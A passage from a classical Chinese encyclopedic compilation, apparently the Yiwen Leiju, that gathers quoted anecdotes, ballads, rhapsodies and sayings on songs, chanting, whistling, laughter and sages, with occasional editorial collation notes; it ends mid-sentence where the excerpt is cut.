葛 恢 . 字 道 明 . 荀 闿 . 字 道 明 . 蔡 谟 . 字 道 明 . 有 名 誉 . 号 曰 中 兴 三 明 . 时 人 歌 之 曰 . 京 师 三 明 各 有 名 . 蔡 氏 儒 雅 荀 葛 清 .\n续 安 帝 纪 曰 . 司 马 休 之 兄 尚 . 为 桓 玄 所 败 . 休 之 奔 淮 泗 . 颇 得 彼 之 人 心 . 从 者 为 之 歌 曰 . 可 怜 司 马 公 . 作 性 甚 温 良 . 忆 昔 水 边 戏 . 使 我 不 能 忘 .\n会 稽 典 录 曰 . 徐 弘 . 字 圣 通 . 为 汝 阴 令 . 诛 锄 奸 桀 . 道 不 拾 遗 . 民 歌 之 曰 . 徐 圣 通 . 政 无 双 . 平 刑 罚 . 奸 宄 空 .\n文 士 传 曰 . 束 晢 . 太 康 中 大 旱 . 晢 乃 令 邑 人 躬 共 请 雨 . 三 日 水 三 尺 . 百 姓 为 之 歌 曰 . 束 先 生 . 通 神 明 . 请 天 三 日 甘 雨 零 . 我 黍 以 育 . 我 稷 以 生 . 何 以 酬 之 . 报 束 长 生 .\n殷 氏 世 传 曰 . 殷 褒 为 荥 阳 令 . 广 筑 学 馆 . 会 集 朋 徒 . 民 知 礼 让 . 乃 歌 曰 . 荥 阳 令 . 有 异 政 . 脩 立 学 校 人 易 性 . 令 我 子 弟 耻 讼 争 .\n车 频 秦 书 曰 . 符 坚 时 . 关 陇 百 姓 丰 乐 . 民 歌 之 曰 . 长 安 大 街 . 两 边 种 槐 . 下 走 朱 轮 . 上 有 鸾 栖 .\n赵 书 曰 . 刘 曜 讨 陈 安 于 陇 域 . 安 死 . 乃 谣 曰 . 陇 城 健 儿 曰 陈 安 . 体 干 虽 小 腹 中 宽 . 爱 养 将 士 同 心 肝 . 事 具 军 器 篇 .\n赵 书 曰 . 汲 桑 . 六 月 盛 暑 . 重 裘 累 茵 . 使 人 扇 . 患 不 清 凉 . 斩 扇 者 . 时 军 中 为 之 谣 曰 . 士 为 将 军 何 可 羞 . 六 月 重 茵 被 豹 裘 . 不 识 寒 暑 斩 他 头 .\n襄 阳 耆 旧 记 曰 . 山 季 伦 每 临 习 池 . 未 曾 不 大 醉 而 还 . 恒 曰 . 我 高 阳 池 中 也 . 襄 阳 城 中 小 儿 歌 之 曰 . 山 公 何 所 去 . 往 至 高 阳 池 . 日 夕 倒 载 归 . 酩 酊 无 所 知 . 时 时 能 骑 马 . 倒 着 白 接 离 . 举 鞭 向 葛 强 . 何 如 并 州 儿 .\n世 说 曰 . 郤 超 王 珣 . 并 以 俊 才 . 为 桓 大 司 马 所 眷 . 珣 为 主 簿 . 超 为 记 室 参 军 . 超 为 人 多 须 . 珣 形 状 短 小 . 时 人 为 之 歌 曰 . 髯 参 军 . 短 主 簿 . 能 令 公 喜 . 能 令 公 怒 .\n晋 夏 侯 湛 长 夜 谣 曰 . 日 暮 兮 初 晴 . 天 灼 灼 兮 遐 清 . 披 云 兮 归 山 . 垂 景 兮 照 庭 . 列 宿 兮 皎 皎 . 星 稀 兮 月 明 . 亭 檐 隅 以 逍 遥 兮 . 盻 大 虚 以 仰 观 . 望 阊 阖 之 昭 晰 兮 . 丽 紫 微 之 晖 焕 .\n晋 湛 方 生 怀 归 谣 曰 . 辞 衡 门 兮 至 欢 . 怀 生 离 兮 苦 辛 . 岂 羁 旅 兮 一 慨 . 亦 代 谢 兮 感 人 . 四 运 兮 道 尽 . 化 新 兮 岁 故 . 气 惨 惨 兮 凝 晨 . 风 凄 凄 兮 薄 暮 . 雨 雪 兮 交 纷 . 重 云 兮 四 布 . 天 地 兮 一 色 . 六 合 兮 同 素 . 山 木 兮 摧 披 . 津 壑 兮 凝 冱 . 感 羁 旅 兮 苦 心 . 怀 桑 梓 兮 增 慕 . 胡 马 兮 恋 北 . 越 鸟 兮 依 阳 . 彼 禽 兽 兮 尚 然 . 况 君 子 兮 去 故 乡 . 望 归 涂 兮 漫 漫 . 盻 江 流 兮 洋 洋 . 思 涉 路 兮 莫 由 . 欲 越 津 兮 无 梁 .\n陈 沈 炯 独 酌 谣 曰 . 独 酌 谣 . 独 酌 独 长 谣 . 智 者 不 我 顾\n. 愚 夫 余 未 要 . 不 愚 复 不 智 . 谁 当 余 见 招 . 所 以 成 独 酌\n. 一 酌 倾 一 瓢 . 生 涯 本 漫 漫 . 神 理 暂 超 超 . 一 酌 矜 许 史\n. 再 酌 傲 松 乔 . 频 烦 四 五 酌 . 不 觉 凌 丹 霄 . 倏 忽 厌 五 鼎\n. 俄 然 贱 九 韶 . 彭 殇 无 异 葬 . 夷 跖 可 同 朝 . 龙 蠖 非 不 屈\n. 鹏 鷃 但 逍 遥 . 寄 语 号 呶 侣 . 无 乃 大 尘 嚣 .\n释 名 曰 . 吟 . 严 也 . 其 声 本 出 于 忧 愁 . 故 声 严 肃 . 使 听 之 凄 叹 也 .\n毛 诗 序 曰 . 吟 咏 情 性 . 以 风 其 上 .\n盐 铁 论 曰 . 曾 子 傍 山 而 吟 . 山 鸟 下 翔 .\n东 观 汉 记 曰 . 梁 鸿 常 ● 户 吟 咏 书 记 .\n魏 志 曰 . 管 辂 随 军 西 行 . 过 毌 丘 俭 墓 下 . 倚 松 树 哀 吟 . 精 神 不 乐 . 人 问 其 故 . 辂 曰 . 林 木 虽 茂 . 无 形 可 久 . 碑 诔 虽 美 . 无 后 可 守 .\n陈 武 别 传 曰 . 陈 武 . 字 国 本 . 休 屠 胡 人 . 常 骑 驴 牧 羊 . 诸 家 牧 竖 十 数 人 . 或 有 知 歌 谣 者 . 武 遂 学 太 山 梁 父 吟 . 幽 州 马 客 吟 及 行 路 难 之 属 .\n文 士 传 曰 . 李 康 . 清 廉 有 志 节 . 不 能 和 俗 . 为 乡 里 豪 右 所 共 害 . 故 宦 涂 不 进 . 作 游 山 九 吟 .\n蜀 志 诸 葛 亮 梁 父 吟 曰 . 步 出 齐 城 门 . 遥 望 荡 阴 里 . 里 中 有 三 坟 . 累 累 正 相 似 . 问 是 谁 家 冢 . 田 强 古 冶 子 . 力 能 排 南 山 . 文 能 绝 地 理 . 一 朝 被 谗 言 . 二 桃 杀 三 士 . 谁 能 为 此 谋 . 国 相 齐 晏 子 .\n晋 潘 尼 逸 民 吟 曰 . 我 顾 傲 . 世 自 遗 . 舒 志 六 合 . 由 巢\n是 追 . 沐 浴 池 洪 迅 羽 衣 . 陟 彼 名 山 . 采 此 芝 薇 . 朝 云 叆\n叇 . 行 露 未 晞 . 游 鱼 群 戏 . 翔 鸟 双 飞 . 逍 遥 博 观 . 日 晏\n忘 归 . 嗟 哉 世 士 . 从 我 者 谁 .\n毛 诗 曰 . 有 女 仳 离 . 条 其 啸 矣 遇 人 之 不 淑 矣 .\n列 女 传 曰 . 鲁 漆 室 邑 之 女 . 过 时 未 适 人 . 倚 柱 而 啸 . 傍 人 闻 之 . 心 莫 不 为 之 惨 者 . 邻 妇 从 之 游 曰 . 何 啸 之 悲 也 . 子 欲 嫁 乎 . 吾 为 子 求 偶 . 漆 室 女 曰 . 吾 岂 为 不 嫁 之 故 而 悲 哉 . 忧 吾 君 老 太 子 少 也 .\n庄 子 曰 . 童 子 夜 啸 . 鬼 数 若 齿 .\n吴 越 春 秋 曰 . 吴 王 阖 闾 . 将 欲 伐 楚 . 登 台 向 南 风 而 啸 . 有 顷 而 叹 . 群 臣 莫 有 晓 王 意 者 . 伍 子 胥 深 知 王 忧 . 乃 荐 孙 武 . 善 为 兵 法 . 人 莫 知 其 能 .\n魏 略 曰 . 诸 葛 亮 在 荆 州 游 学 . 每 晨 夜 . 常 抱 膝 长 啸 .\n竹 林 七 贤 论 曰 . 阮 籍 . 性 乐 酒 . 善 啸 . 声 闻 数 百 步 .\n又 曰 . 籍 常 箕 踞 啸 歌 . 酣 放 自 若 . 时 苏 门 山 中 . 忽 有 真 人 在 焉 . 籍 亲 往 寻 . 其 人 拥 膝 岩 巅 . 遂 登 岭 从 之 . 箕 坐 相 对 . 籍 乃 商 略 终 古 以 问 之 . 仡 然 不 应 . 籍 因 对 之 长 啸 . 有 间 . 彼 乃 龂 然 笑 曰 . 可 更 作 . 籍 乃 为 啸 . 意 尽 . 退 还 半 岭 . 岭 巅 ● 然 有 声 . 若 数 部 鼓 吹 . 顾 瞻 乃 向 人 之 啸 也 .\n孙 登 别 传 曰 . 孙 登 . 魏 末 处 北 山 中 . 以 石 室 为 宇 . 编 草 自 覆 . 阮 嗣 宗 闻 登 而 往 造 焉 . 适 见 苫 盖 被 发 . 端 坐 岩 下 鼓 琴 . 嗣 宗 自 下 趍 之 . 既 坐 . 莫 得 与 言 . 嗣 宗 乃 嘲 嘈 长 啸 . 与 鼓 琴 音 谐 会 雍 雍 然 . 登 乃 逌 尔 而 笑 . 因 啸 和 之 . 妙 响 动 林 壑 . 事 具 乐 府 部 琴 篇 .\n晋 阳 秋 曰 . 嵇 康 见 孙 登 . 登 对 之 啸 . 时 不 言 .\n郭 子 曰 . 刘 道 真 少 时 . 善 歌 啸 . 有 一 老 姥 . 识 其 非 常 之 人 . 甚 乐 其 歌 啸 . 乃 杀 豚 进 之 . 道 真 食 豚 不 谢 .\n浔 阳 记 曰 . 桓 宣 穆 使 人 寻 庐 山 . 见 一 人 谓 之 曰 . 君 过 前 岭 . 必 逢 二 年 少 . 相 随 长 啸 . 试 要 问 之 . 若 不 与 言 者 . 可 速 去 . 此 人 过 岭 . 果 见 二 年 少 . 以 袂 掩 鼻 长 啸 . 状 如 恶 鼻 . 呼 不 与 言 .\n世 说 曰 . 晋 文 王 德 盛 功 大 . 坐 席 严 敬 . 拟 于 王 者 . 唯 阮 籍 箕 踞 啸 歌 . 酣 放 自 若 .\n又 曰 . 刘 越 石 为 胡 骑 所 围 . 城 中 窘 迫 . 刘 乘 月 登 楼 清 啸 . 胡 贼 闻 之 . 皆 凄 然 长 叹 .\n搜 神 记 曰 . 赵 炳 尝 临 水 . 从 船 人 乞 渡 . 船 人 不 许 . 炳 乃 张 盖 坐 其 中 . 长 啸 呼 风 . 乱 流 而 济 .\n汉 晋 春 秋 曰 . 桓 帝 幸 樊 城 . 百 姓 莫 不 观 之 . 有 一 老 父 . 独 耕 不 辍 . 议 郎 张 温 使 问 焉 . 父 啸 而 不 答 .\n王 廙 别 传 曰 . 王 导 与 庾 亮 游 于 石 头 . 会 遇 廙 至 . 尔 日 迅 风 飞 帆 . 廙 倚 楼 而 长 啸 . 神 气 甚 逸 .\n神 境 记 曰 . 荥 ○ 按 水 经 注 三 十 八 湘 水 篇 营 水 迳 营 阳 郡 治 . 孙 皓 分 零 陵 置 . 又 晋 亦 有 营 阳 郡 . 见 晋 书 地 理 志 江 州 下 . 是 荥 当 作 营 . 阳 郡 西 有 灵 源 山 . 有 石 髓 紫 芝 . 昔 者 有 采 药 此 山 . 闻 林 谷 闲 有 长 啸 者 . 今 樵 人 往 往 犹 闻 焉 .\n异 苑 曰 . 寻 阳 姑 石 . 在 江 之 坻 . 初 桓 玄 至 西 下 . 令 人 登 之 . 中 岭 便 闻 长 啸 . 声 甚 清 澈 . 至 峰 . 见 一 人 箕 踞 石 上 .\n梦 书 曰 . 梦 吹 啸 者 . 欲 有 求 .\n【 诗 】 晋 陆 云 诗 曰 . 逍 遥 近 南 畔 . 长 啸 作 悲 叹 .\n晋 郭 璞 诗 曰 . 绿 罗 结 高 林 . 蒙 笼 盖 一 山 . 中 有 冥 寂 士 . 静 啸 抚 清 弦 .\n【 赋 】 晋 成 公 绥 啸 赋 曰 . 逸 群 公 子 . 体 奇 好 异 . 傲 世 忘 荣 . 绝 弃 人 事 . 于 是 延 友 生 . 集 同 好 . 精 性 命 之 至 机 . 研 道 德 之 玄 奥 . 邈 跨 俗 而 遗 身 . 乃 慷 慨 而 长 啸 . 发 妙 声 于 丹 唇 . 激 哀 音 于 皓 齿 . 响 抑 扬 而 潜 转 . 气 冲 郁 而 熛 起 . 协 黄 宫 于 清 角 . 杂 商 羽 于 流 征 . 飘 游 云 于 泰 清 . 集 长 风 乎 万 里 . 谅 自 然 之 至 音 . 非 丝 竹 之 所 拟 . 是 故 声 不 假 器 . 用 不 借 物 . 近 取 诸 身 . 役 心 御 气 . 动 唇 有 曲 . 发 口 成 音 . 触 类 感 物 . 因 歌 随 吟 . 清 激 切 于 竽 笙 . 优 润 和 于 瑟 琴 . 列 列 飙 扬 . 啾 啾 响 作 . 奏 胡 马 之 长 思 . 向 寒 风 乎 北 朔 . 又 似 鸿 雁 之 扬 鶵 . 群 鸣 号 乎 沙 漠 . 故 能 因 形 创 声 . 随 事 造 曲 . 应 物 无 穷 . 机 发 响 速 . 乃 吟 咏 而 发 散 . 声 绎 绎 而 响 连 . 心 涤 荡 而 无 累 . 志 离 俗 而 飘 然 .\n晋 殷 仲 堪 将 离 咏 曰 . 尔 乃 理 辔 杖 策 . 或 乘 或 步 . 行 悲 歌 以 谐 欢 . 朗 长 啸 以 启 路 .\n【 书 】 晋 桓 玄 与 袁 宜 都 书 论 啸 曰 . 读 卿 歌 赋 . 序 咏 音 声 . 皆 有 清 味 . 然 以 啸 为 髣 佛 有 限 . 不 足 以 致 幽 旨 . 将 未 至 耶 . 夫 契 神 之 音 . 既 不 俟 多 赡 . 而 通 其 致 . 苟 一 音 足 以 究 清 和 之 极 . 阮 公 之 言 . 不 动 苏 门 之 听 . 而 微 啸 一 鼓 . 玄 默 为 之 解 颜 . 若 人 之 兴 逸 响 . 惟 深 也 哉 .\n袁 山 松 答 桓 南 郡 书 曰 . 啸 有 清 浮 之 美 . 而 无 控 引 之 深\n. 歌 穷 测 根 之 致 . 用 之 弥 觉 其 远 . 至 乎 吐 辞 送 意 . 曲 究\n其 奥 . 岂 唇 吻 之 切 发 . 一 往 之 清 泠 而 已 哉 . 若 夫 阮 公 之\n啸 . 苏 门 之 和 . 盖 感 其 一 奇 . 何 为 征 此 一 至 . 大 疑 啸 歌\n所 拘 耶 .\n易 曰 . 同 人 . 先 号 啕 而 后 笑 .\n又 曰 . 旅 人 . 先 笑 而 后 号 啕 .\n又 曰 . 笑 言 哑 哑 .\n毛 诗 曰 . 终 风 且 暴 . 顾 我 则 笑 . 谑 浪 笑 傲 . 中 心 是 悼 .\n又 曰 . 兄 弟 不 知 . 咥 其 笑 矣 .\n又 曰 . 载 笑 载 言 .\n又 曰 . 宴 笑 语 兮 .\n左 传 曰 . 晋 侯 使 郤 克 征 会 于 齐 . 齐 顷 公 帷 妇 人 . 使 观 之 . 郤 子 登 . 妇 人 笑 于 房 .\n又 曰 . 晋 士 弥 牟 送 ○ 太 平 御 览 三 百 九 十 一 作 逆 . 叔 孙 于 箕 . 叔 孙 使 梁 其 跮 ○ 御 览 作 . 待 于 门 内 . 曰 . 余 左 顾 而 欬 . 乃 杀 之 . 右 顾 而 笑 . 乃 止 .\n谷 梁 传 曰 . 季 孙 行 父 秃 . 晋 郤 克 跛 . 卫 孙 良 夫 眇 . 曹 公 子 首 偻 . 同 聘 于 齐 . 齐 使 秃 者 御 秃 者 . 跛 者 御 跛 者 . 偻 者 御 偻 者 . 萧 同 叔 子 处 台 而 笑 之 . 客 不 悦 . 事 具 治 政 部 .\n论 语 曰 . 子 问 公 叔 文 子 于 公 明 贾 曰 . 信 乎 夫 子 不 言 不 笑 不 取 乎 . 公 明 贾 对 曰 . 夫 子 时 然 后 言 . 人 不 厌 其 言 . 乐 然 后 笑 . 人 不 厌 其 笑 . 义 然 后 取 . 人 不 厌 其 取 .\n又 曰 . 子 游 为 武 城 宰 . 子 之 武 城 . 闻 弦 歌 之 声 . 夫 子 莞 尔 而 笑 曰 . 割 鸡 焉 用 牛 刀 .\n礼 斗 威 仪 曰 . 君 桑 土 而 王 . 其 民 人 好 大 笑 .\n乐 声 仪 曰 . 人 情 喜 则 笑 矣 .\n老 子 曰 . 下 士 闻 道 . 大 笑 之 . 不 笑 . 不 足 以 为 道 .\n晏 子 曰 . 齐 景 公 置 酒 泰 山 . 公 四 望 喟 然 叹 . 泣 数 行 . 曰 . 寡 人 将 去 此 堂 国 者 而 死 耶 . 左 右 泣 者 三 人 . 晏 子 搏 髀 仰 天 大 笑 曰 . 乐 哉 今 之 饮 也 . 公 怒 曰 . 子 笑 何 也 . 对 曰 . 臣 见 怯 君 一 . 谀 臣 三 . 是 以 大 笑 . 公 惭 .\n琐 语 曰 . 师 旷 御 晋 平 公 鼓 瑟 . 辍 而 笑 曰 . 齐 君 与 其 嬖 人 戏 . 坠 于 床 而 伤 其 臂 . 平 公 命 人 书 之 曰 . 某 月 某 日 . 齐 君 戏 而 伤 . 问 之 于 齐 侯 . 笑 曰 . 然 . 有 之 .\n楚 辞 曰 . 若 有 人 兮 山 之 阿 . 被 薜 荔 兮 带 女 萝 . 既 含 睇 兮 又 宜 笑 . 子 慕 予 兮 善 窈 窕 .\n又 曰 . 行 不 群 以 颠 越 兮 . 又 众 兆 之 所 咍 .\n吕 氏 春 秋 曰 . 戎 常 寇 周 . 幽 王 击 鼓 . 诸 侯 皆 至 . 褒 姒 大 悦 而 笑 . 王 欲 褒 姒 之 笑 . 数 击 鼓 而 诸 侯 至 . 无 寇 . 及 真 寇 至 . 击 鼓 而 诸 侯 不 来 . 遂 为 戎 所 灭 .\n史 记 曰 . 孙 子 试 兵 . 以 王 宠 姬 二 人 . 以 为 军 队 长 . 三 鼓 . 宫 女 皆 掩 口 而 笑 .\n又 曰 . 孟 尝 君 过 赵 平 原 君 客 之 . 赵 人 闻 孟 尝 君 贤 . 出 观 之 . 皆 大 笑 曰 . 始 以 薛 公 为 魁 梧 也 . 然 今 视 之 . 乃 眇 小 丈 夫 耳 .\n又 曰 . 高 祖 奉 玉 卮 为 太 上 皇 寿 . 曰 . 始 大 人 常 以 臣 无 赖 . 不 能 治 产 业 . 不 如 仲 力 . 今 某 之 业 所 就 . 孰 与 仲 多 . 殿 上 群 臣 皆 呼 万 岁 . 大 笑 为 乐 .\n汉 书 曰 . 匡 衡 能 解 诗 . 诸 儒 为 之 语 曰 . 无 说 诗 . 匡 鼎 来 . 匡 说 诗 . 解 人 颐 . 事 具 杂 部 诗 篇 .\n蜀 志 曰 . 马 忠 为 人 宽 济 . 有 度 量 . 但 大 笑 而 已 . 忿 怒 不 形 于 色 .\n晋 中 兴 书 曰 . 石 勒 与 李 阳 相 近 . 阳 性 刚 愎 . 每 争 沤 麻 池 . 共 相 扑 打 . 互 有 胜 负 . 勒 既 贵 . 召 阳 至 . 引 入 . 言 及 平 生 . 酒 酣 . 宣 阳 肘 曰 . 卿 年 老 . 臂 中 故 有 力 不 . 颇 复 与 人 斗 耶 . 孤 往 数 得 卿 拳 . 卿 亦 快 得 孤 毒 手 . 因 大 笑 .\n又 曰 . 勒 治 门 合 至 峻 . 有 醉 胡 乘 马 . 径 入 府 门 . 勒 问 门 吏 冯 翥 . 向 走 马 入 门 . 为 是 何 人 . 翥 惶 遽 . 误 对 忘 讳 . 向 有 醉 胡 . 乘 马 驰 来 . 即 已 诃 问 . 胡 人 难 与 语 . 非 小 吏 所 制 . 勒 笑 曰 . 胡 正 自 难 可 与 言 .\n蜀 记 曰 . 谯 周 . 字 允 南 . 体 貌 素 朴 . 无 造 次 辩 论 之 才 . 诸 葛 亮 领 益 州 牧 . 州 ○ 太 平 御 览 三 百 九 十 一 作 周 . 为 劝 学 从 事 . 初 见 . 左 右 皆 笑 . 既 出 . 有 司 请 推 笑 者 . 亮 曰 . 孤 欲 不 能 忍 . 况 左 右 乎 .\n世 说 曰 . 张 华 问 陆 机 曰 . 云 何 以 不 来 . 机 曰 . 云 有 笑 疾 . 恐 公 未 悉 . 故 未 敢 . 俄 而 云 诣 华 . 华 为 人 多 姿 制 . 又 好 帛 缠 须 . 云 见 而 大 笑 . 不 能 自 已 .\n又 曰 . 陆 云 好 笑 . 尝 着 缞 帻 上 舡 . 水 中 自 见 其 影 . 便 大 笑 不 已 . 几 落 水 .\n又 曰 . 桓 南 郡 与 道 曜 讲 老 子 . 王 侍 中 为 主 簿 . 在 坐 . 桓 公 曰 . 王 主 簿 可 顾 名 思 义 . 王 未 有 答 . 且 大 笑 . 桓 公 曰 . 王 思 道 故 能 作 大 家 儿 笑 .\n【 赋 】 晋 孙 楚 笑 赋 曰 . 有 度 俗 之 公 子 . 总 万 物 之 细 故\n. 心 髣 佛 乎 巢 由 . 以 得 意 为 至 乐 . 不 拘 恋 乎 凡 流 . 会 亲\n戚 于 高 宇 . 结 宗 盟 于 绸 缪 . 所 以 交 颈 偃 仰 . 推 匈 指 掌 .\n冗 洪 声 于 通 谷 . 顺 长 风 以 流 响 . 气 参 谭 以 相 属 . 若 将 颓\n而 复 往 . 或 颦 蹙 俛 首 . 状 似 悲 愁 . 怫 郁 唯 转 . 呻 吟 郁 伊\n. 或 携 手 悲 啸 . 嘘 天 长 叫 . 迟 重 则 如 陆 沉 . 轻 疾 则 如 水\n漂 . 徐 疾 任 其 口 颊 . 员 合 得 乎 机 要 . 或 中 路 背 叛 . 更 相\n毁 贱 . 倾 倚 叵 我 . 雕 声 迄 乎 日 晏 . 信 天 下 之 笑 林 . 调 谑\n之 巨 观 也 .\n人 部 四 圣 贤 忠 孝\n又 曰 . 圣 作 则 .\n庄 子 曰 . 以 德 分 人 谓 之 圣 .\n白 虎 通 曰 . 才 称 万 人 曰 杰 . 倍 杰 曰 圣 . 风 俗 通 曰 . 圣 者 . 声 也 . 通 也 . 言 其 闻 声 知 情 . 通 于 天 地 . 条 畅 万 物 也 .\n家 语 曰 . 圣 者 . 德 合 天 地 . 变 通 无 方 也 .\n易 曰 . 备 物 致 用 . 立 成 器 以 为 天 下 利 . 莫 大 乎 圣 人 . 知 进 退 存 亡 而 不 失 其 正 者 . 其 唯 圣 人 乎 .\n礼 记 曰 . 大 哉 圣 人 之 道 . 洋 洋 乎 发 育 万 物 . 峻 极 于 天 . 譬 如 天 地 之 无 不 持 载 . 无 不 覆 焘 . 譬 如 四 时 之 错 行 . 如 日 月 之 代 明 .\n又 曰 . 唯 天 下 至 圣 . 为 能 聪 明 叡 智 . 足 以 有 临 也 . 发 强 刚 毅 . 足 以 有 执 也 . 斋 庄 中 正 . 足 以 有 敬 也 . 文 理 密 察 . 足 以 有 别 也 .\n毛 诗 曰 . 周 公 摄 政 . 远 则 四 国 流 言 . 近 则 王 不 知 . 周 大 夫 美 不 失 其 圣 也 .\n又 曰 . 思 齐 . 文 王 所 以 圣 也 .\n大 戴 礼 曰 . 圣 人 有 国 . 则 日 月 不 食 . 星 辰 不 孛 .\n又 曰 . 哀 公 问 曰 . 何 谓 圣 人 . 孔 子 对 曰 . 所 谓 圣 人 者 . 智 通 乎 大 道 . 应 变 而 不 穷 . 测 物 之 情 性 者 也 .\n论 语 曰 . 太 宰 问 于 子 贡 曰 . 夫 子 圣 者 与 . 何 其 多 能 也 . 子 贡 曰 . 固 天 纵 之 将 圣 . 又 多 能 也 .\n礼 记 曰 . 圣 人 能 以 天 下 为 一 家 . 中 国 为 一 人 者 . 非 意 之 也 . 必 知 其 利 . 达 于 其 患 . 然 后 能 为 之 .\n家 语 . 国 有 圣 人 而 不 能 用 . 欲 以 求 治 . 是 犹 却 步 而 求 及 前 人 也 .\n六 韬 曰 . 圣 人 与 天 下 之 人 皆 安 乐 .\n又 曰 . 圣 人 守 无 穷 之 府 . 用 无 穷 之 才 . 天 下 仰 之 而 治 .\n管 子 曰 . 圣 人 若 天 然 . 无 私 覆 . 若 地 然 . 无 私 载 也 . 私 者 乱 天 下 也 .\n老 子 曰 . 圣 人 无 常 心 . 以 百 姓 心 为 心 . 善 者 吾 善 之 . 不 善 者 吾 亦 善 之 .\n文 子 曰 . 圣 人 同 死 生 . 愚 人 亦 同 死 生 . 圣 人 之 同 死 生 . 明 于 分 理 也 . 愚 人 之 同 死 生 . 不 知 利 害 所 在 也 .\n又 曰 . 圣 人 以 仁 义 为 准 绳 . 中 绳 之 谓 君 子 . 不 中 绳 之 谓 小 人 .\n列 子 曰 . 龙 叔 谓 文 挚 曰 . 吾 有 疾 . 子 能 已 乎 . 文 挚 即 命 龙 叔 背 明 而 立 . 文 挚 从 后 向 明 而 望 之 . 既 而 曰 . 嘻 . 吾 见 子 之 心 矣 . 方 寸 之 地 虚 矣 . 几 圣 人 也 . 子 心 六 孔 流 通 . 一 孔 不 达 . 今 圣 智 为 病 者 . 或 由 此 乎 . 又 曰 . 商 太 宰 见 孔 子 曰 . 丘 圣 者 与 . 答 曰 . 圣 则 丘 何 敢 . 曰 . 三 王 圣 者 与 . 答 曰 . 三 王 善 任 智 勇 者 . 圣 则 丘 弗 知 . 曰 . 五 帝 圣 者 与 . 答 曰 . 五 帝 善 任 仁 义 者 . 圣 则 丘 弗 知 . 曰 . 三 皇 圣 者 与 . 答 曰 . 三 皇 善 因 时 者 . 圣 则 丘 弗 知 . 商 曰 . 然 则 孰 者 为 圣 . 孔 子 曰 . 西 方 圣 者 . 不 治 而 不 乱 . 不 言 而 自 信 . 不 化 而 自 行 . 荡 荡 乎 民 无 能 名 焉 .\n又 曰 . 庖 牺 女 娲 神 农 夏 后 . 蛇 身 人 面 牛 首 . 此 非 人 之 状 . 而 有 大 圣 之 德 . 事 具 帝 王 部 女 娲 篇 .\n孟 子 曰 . 观 于 海 者 难 为 水 . 游 于 圣 人 之 门 者 难 为 言 .\n庄 子 曰 . 夫 卜 梁 倚 有 圣 人 之 才 者 . 而 无 圣 人 之 道 . 我 有 圣 人 之 道 . 而 无 圣 人 之 才 . 吾 教 之 其 果 为 圣 人 也 .\n又 曰 . 尧 辞 封 人 曰 . 我 以 汝 为 圣 人 . 曰 . 夫 圣 人 鹑 居 而 鷇 食 . 鸟 行 而 无 迹 . 天 下 有 道 . 则 与 物 皆 昌 . 天 下 无 道 . 则 修 德 就 闲 . 千 岁 厌 世 . 去 而 上 仙 . 乘 彼 白 云 . 至 于 帝 乡 . 三 患 莫 至 . 身 常 无 殃 . 则 何 辱 之 有 .\n孙 卿 子 曰 . 神 固 谓 之 圣 人 . 圣 人 者 道 之 管 也 . 天 下 之 道 管 此 矣 .\n又 曰 . 天 下 无 二 道 . 圣 人 无 两 心 . 神 人 无 功 . 圣 人 无 名 . 圣 人 者 天 下 利 器 .\n淮 南 子 曰 . 圣 人 不 贵 尺 璧 而 重 寸 阴 . 故 禹 之 趍 时 也 . 履 遗 而 弗 取 . 冠 挂 而 弗 顾 .\n又 曰 . 唯 圣 人 为 能 知 权 . 言 而 必 信 . 期 而 必 当 . 天 下 之 高 行 也 .\n又 曰 . 孔 子 不 黔 突 . 墨 子 不 暖 席 . 是 故 圣 人 蒙 耻 辱 以 干 世 主 者 . 非 以 贪 禄 慕 位 . 欲 事 天 下 之 利 . 除 万 民 之 害 也 . 神 农 憔 悴 . 尧 瘦 臞 . 舜 微 黑 . 禹 胼 胝 . 由 此 观 之 . 则 圣 人 之 忧 劳 百 姓 亦 甚 矣 .\n又 曰 . 古 者 圣 人 . 劳 形 尽 虑 . 为 民 兴 利 除 害 . 羸 天 下 之 忧 . 而 任 海 内 之 事 . 圣 人 之 忧 民 . 如 此 其 明 也 .\n杨 子 法 言 曰 . 或 问 孔 子 之 时 . 诸 侯 有 知 孔 子 圣 者 与 . 曰 . 知 之 . 若 知 之 则 曷 为 不 用 . 曰 . 不 能 . 曰 . 知 圣 而 不 能 用 . 可 得 闻 乎 . 曰 . 用 之 则 弃 其 所 习 . 逆 其 所 从 . 彊 其 所 劣 . 捐 其 所 能 . 非 天 下 之 至 . 孰 能 用 之 .\n韩 诗 外 传 曰 . 辟 土 殖 谷 者 . 后 稷 也 . 决 江 疏 河 者 . 禹 也 . 听 狱 执 中 者 . 皋 陶 也 . 然 而 有 圣 名 者 . 尧 也 .\n神 异 经 曰 . 西 南 大 荒 中 . 人 身 长 十 丈 . 其 腹 围 九 丈 . 践 龟 蛇 . 戴 朱 鸟 . 左 手 凭 青 龙 . 右 手 凭 白 虎 . 知 河 海 斗 斛 . 识 山 石 多 少 . 知 天 下 鸟 兽 言 语 . 识 土 上 人 所 道 . 知 百 谷 可 食 . 识 草 木 咸 苦 . 名 曰 圣 . 一 曰 哲 . 一 名 通 . 一 名 无 不 达 .\n尚 书 大 传 曰 . 天 无 别 风 淮 雨 . 中 国 有 圣 人 .\n姚 信 士 纬 曰 . 圣 人 高 不 可 极 . 深 不 可 测 . 穷 神 知 化 . 独 见 先 识 . 仁 若 春 阳 . 信 若 影 响 . 此 所 禀 于 天 也 .\n说 苑 曰 . 圣 人 之 于 百 姓 也 . 其 犹 赤 子 乎 . 饥 者 食 之 . 寒 者 衣 之 . 将 之 养 之 . 育 之 长 之 . 唯 恐 其 不 至 于 大 也 .\n【 颂 】 后 汉 张 超 尼 父 颂 曰 . 岩 岩 孔 圣 . 异 世 称 杰 . 量 合 ● 坤 . 明 参 日 月 . 德 被 八 荒 . 名 充 遐 外 . 终 于 获 麟 . 遗 歌 鲁 卫 .\n晋 孙 楚 尼 父 颂 曰 . 皇 矣 尼 父 . 圣 哲 之 杰 . 德 比 天 地 . 明 齐 日 月 . 周 室 陵 迟 . 大 道 芜 秽 . 礼 乐 崩 阻 . 奸 雄 罔 世 . 乃 养 门 徒 . 广 延 俊 乂 . 垂 训 列 国 . 颂 声 鲁 卫 . 威 震 夹 谷 . 义 厌 陈 蔡 . 德 之 休 明 . 幽 而 弥 泰 . 超 美 三 代 . 风 驰 云 迈 .\n【 赞 】 晋 陆 机 孔 子 赞 曰 . 孔 子 叡 圣 . 配 天 弘 道 . 风 扇 玄 流 . 思 探 神 宝 . 明 发 怀 周 . 兴 言 谟 老 . 灵 魄 有 行 . 言 观 苍 昊 . 清 歌 先 诫 . 丹 书 有 造 .\n晋 湛 方 生 孔 公 赞 曰 . 文 王 既 没 . 微 言 将 坠 . 邈 